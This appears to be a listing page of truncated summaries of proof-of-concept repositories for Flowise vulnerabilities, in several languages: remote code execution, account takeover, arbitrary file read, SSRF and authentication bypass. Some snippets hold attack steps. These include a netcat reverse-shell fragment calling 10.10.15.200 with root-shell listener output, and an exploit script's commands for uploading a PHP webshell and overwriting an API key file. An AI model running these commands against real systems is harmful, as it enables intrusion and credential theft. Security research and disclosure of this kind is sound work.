CVE-2025-59528

CVE-2025-59528 – Flowise CustomMCP Node RCE PoC 概要 このリポジトリには、Flowise v3.0.5 における CVE-2025-59528 の概念実証が含まれています。 脆弱性は customMCP ノードに存在し、ユーザーが提供した mcpServerConfig 入力が、Function コンストラクタを使用した安全でない評価を介して JavaScript コードの実行につながる方法で処理されます。 影響を受けるバージョン...

CVE-2025-58434_CVE-2025-59528

CVE-2025-58434CVE-2025-59528 PoC 스크립트 CVE-2025-58434 Flowise -lp...

POC_CVE-2024-36420

POCCVE-2024-36420 CVE-2024-36420에 영향을 받는 Flowise를 위한 로컬 재현 실습 및 nuclei 템플릿 초안. 요약 CVE-2024-36420은 Flowise에서 fileName 본문 매개변수를 적절히 검증하지 않아 발생하는 임의 파일 읽기 취약점이며, 다음 엔드포인트에서 트리거됩니다: POST /api/v1/openai-assistants-file 이 실습은 다음을 검증하는 데 사용되었습니다: flowiseai/flowise:1.4.3에서 취약한 동작 최신...

CVE-2025-59528-Flowise-RCE

CVE-2025-59528-Flowise-RCE CustomMCP 노드를 통한 Flowise 버전 &1|nc 10.10.15.200 443 /tmp/f' 리스너를 확인하면 작동할 것입니다: root@kitploit: └─$ nc -lvnp 443 listening on any 443 ... connect to 10.10.15.200 from UNKNOWN 10.129.64.221 43393 sh: can't access tty; job control turned off / whoami root...

HTB-Silentium-Writeup

HTB - Silentium 攻略記 マシン情報 名前: Silentium OS: Linux 難易度: Easy CVE: CVE-2025-58434, CVE-2025-59528, CVE-2025-8110 列挙 Nmap スキャン root@kitploit: nmap -sC -sV -p- --min-rate 5000 -oN nmap.txt 開放ポート: 22 SSH、80 HTTP 仮想ホストstaging.silentium.htb は Flowise 3.0.5 を実行しています 初期侵入 — Flowise RCE CVE-2025-58434 —...

Flowise-CVE-2026-58057-exploit

Flowise CVE-2026-58057 - Windows Remote Code Execution Exploit -orange?style=for-the-badg...

Flowise 1.6.5 - Authentication Bypass

The flowise version = 1.6.5 is vulnerable to authentication bypass vulnerability. id: CVE-2024-31621 info: name: Flowise 1.6.5 - Authentication Bypass author: DhiyaneshDK severity: high description: | The flowise version = 1.6.5 is vulnerable to authentication bypass vulnerability. impact: |...

CVE-2025-59528

CVE-2025-59528 Proof of Concept English version PoC minimaliste et orienté validation technique de la vulnérabilité sur un environnement autorisé. Prerequis Avoir un compte utilisateur sur le dashboard Flowise cible. Disposer d'une clef API valide associee a ce compte. Demarrer un listener sur ta...

CVE-2026-69263

CVE 2026-69263 内容 CVE 2026-69263は、2025年8月に修正された旧RCE脆弱性のパッチバイパスです。このパッチは、任意のパッケージのインストールをブロックする拒否リストを導入しました。 方法 npmは環境変数から設定を読み取るため、環境変数 npmconfigyes=true を設定すると、ブロックされていた動作が再び有効になります。 影響 Flowise 3.1.1（報告時点での最新版）。3.1.3で修正済み。 PoC 以下のMCPサーバー構成は、CUSTOMMCPSECURITYCHECK=true を使用してパッチをバイパスします。...

CVE-2025-26319

CVE-2025-26319 1. 基本的なファイルアップロード python flowiseexploit.py -u http://target:3000 -f localfile.txt -d /path/on/server/file.txt 2. 設定ファイルのアップロード APIキー設定を変更 python flowiseexploit.py -u http://target:3000 -f newapi.json -d /root/.flowise/api.json 3. Webshellを自動生成してアップロード PHP Webshellをアップロード python...

CVE-2025-58434-poc

CVE-2025-58434 — 토큰 노출을 통한 Flowise 계정 탈취 ⚠️ 이 저장소는 교육 및 공인된 보안 연구 목적으로만 제공됩니다. 소유하지 않았거나 명시적 테스트 허가를 받지 않은 시스템에 대한 무단 사용은 불법 입니다. 목차 개요 취약점 세부 정보 공격 흐름 영향을 받는 버전 저장소 구조 요구 사항 설치 사용법 예시 출력 수정 및 완화 조치 공개 타임라인 참고 자료 면책 조항...

CVE-2025-59528.yaml

CVE-2025-59528.yaml...

CVE-2025-59528

Version française CVE-2025-59528 概念実証（PoC） 認可された環境における脆弱性の技術的検証に焦点を当てた最小限のPoCです。 前提条件 対象のFlowiseダッシュボードにユーザーアカウントを持っている必要があります。 そのアカウントにリンクされた有効なAPIキーを持っている必要があります。 PoCを実行する前に、コールバックホストでリスナーを起動しておく必要があります（例：nc -lvn 4444）。 使用例 まずリスナーを起動します： root@kitploit: nc -lvn 4444 root@kitploit: python3 poc.py...

CVE-2025-59528

CVE-2025-59528: Flowise CustomMCP 원격 코드 실행 PoC CVE-2025-59528 을 대상으로 한 Flowise 버전...

CVE-2025-59528-PoC

CVE-2025-59528 PoC 隔離された実験室環境で CVE-2025-59528 を調査するための Proof of Concept です。 !WARNING 免責事項 このプロジェクトは、教育目的、セキュリティ研究、および自分が所有する、または明示的な許可を得てテストするシステムのテスト にのみ使用することを意図しています。 この PoC を、所有者の許可なく第三者サーバー、公開サービス、またはインフラストラクチャに対して使用しないでください。 作者は、このプロジェクトの誤用によって生じたいかなる損害、データ損失、サービス停止、または法的結果についても責任を負いません。 説明...

flowise-arbitrary-file-read-getFileFromStorage

Flowise の未認証任意ファイル読み取り（getFileFromStorage）— 提案中の新規 CVE CVE-2025-71338（ 書き込み シンク）とは別の脆弱性 です。これは、Flowise のドキュメントストアローダー「rehydrate」パスにおける未認証の任意ファイル読み取り であり、影響を受けるのは 1.7.1 – 2.2.3 、2.2.4 で修正されました。/root/.flowise/encryption.key を読み取ると、保存されているすべてのプロバイダー資格情報を復号する鍵が得られます → 資格情報が完全に漏洩します。 目次...

CVE-2025-58434-PoC

CVE-2025-58434-PoC このリポジトリには、CVE-2025-58434 の Proof of Concept PoC Python スクリプトが含まれています。CVE-2025-58434 は、トークン漏洩により、flowise バージョン 3.0.5 以下で認証プロセスなしに他のユーザーのパスワードを変更することを攻撃者に可能にする脆弱性です。 使用方法 エクスプロイトを実行するには、CVE-2025-58434-PoC.py スクリプトを使用し、ターゲット...

CVE-2025-58434-59528

CVE-2025-58434 + CVE-2025-59528 影响 Flowise = 3.0.5 的两个漏洞的利用链。 漏洞 CVE-2025-58434 — 未认证账户接管 忘记密码接口会在 API 响应中返回有效的密码重置令牌，且无需认证。只要知道有效电子邮件地址的攻击者即可在无用户交互的情况下重置任意账户的密码。 CVE-2025-59528 — 认证后远程代码执行 CustomMCP 节点将用户控制的输入直接传递给 Function 构造函数，并拥有完整的 Node.js 权限。拥有有效 API 密钥的认证用户可以以 Flowise 进程用户的身份执行任意操作系统命令。...

CVE-2026-67620-poc

CVE-2026-67620 — Flowise SSRF via incomplete cloud-metadata deny-list Oracle OCI + Alibaba Cloud Product: FlowiseAI/Flowise — visual LLM / AI-agent builder 54k ★ Affected versions: ≤ 3.1.4 — confirmed still vulnerable in 3.1.4 , the latest release re-verified 2026-08-06 Vulnerability: Server-Side...

CVE-2025-59528-PoC

CVE-2025-59528 PoC Script Python proof-of-concept per attivare il percorso RCE CustomMCP di Flowise tramite POST /api/v1/node-load-method/customMCP. ⚠️ Solo a scopo educativo e per ricerca sulla sicurezza autorizzata. Eseguire questo strumento contro sistemi che non possiedi o per i quali non hai...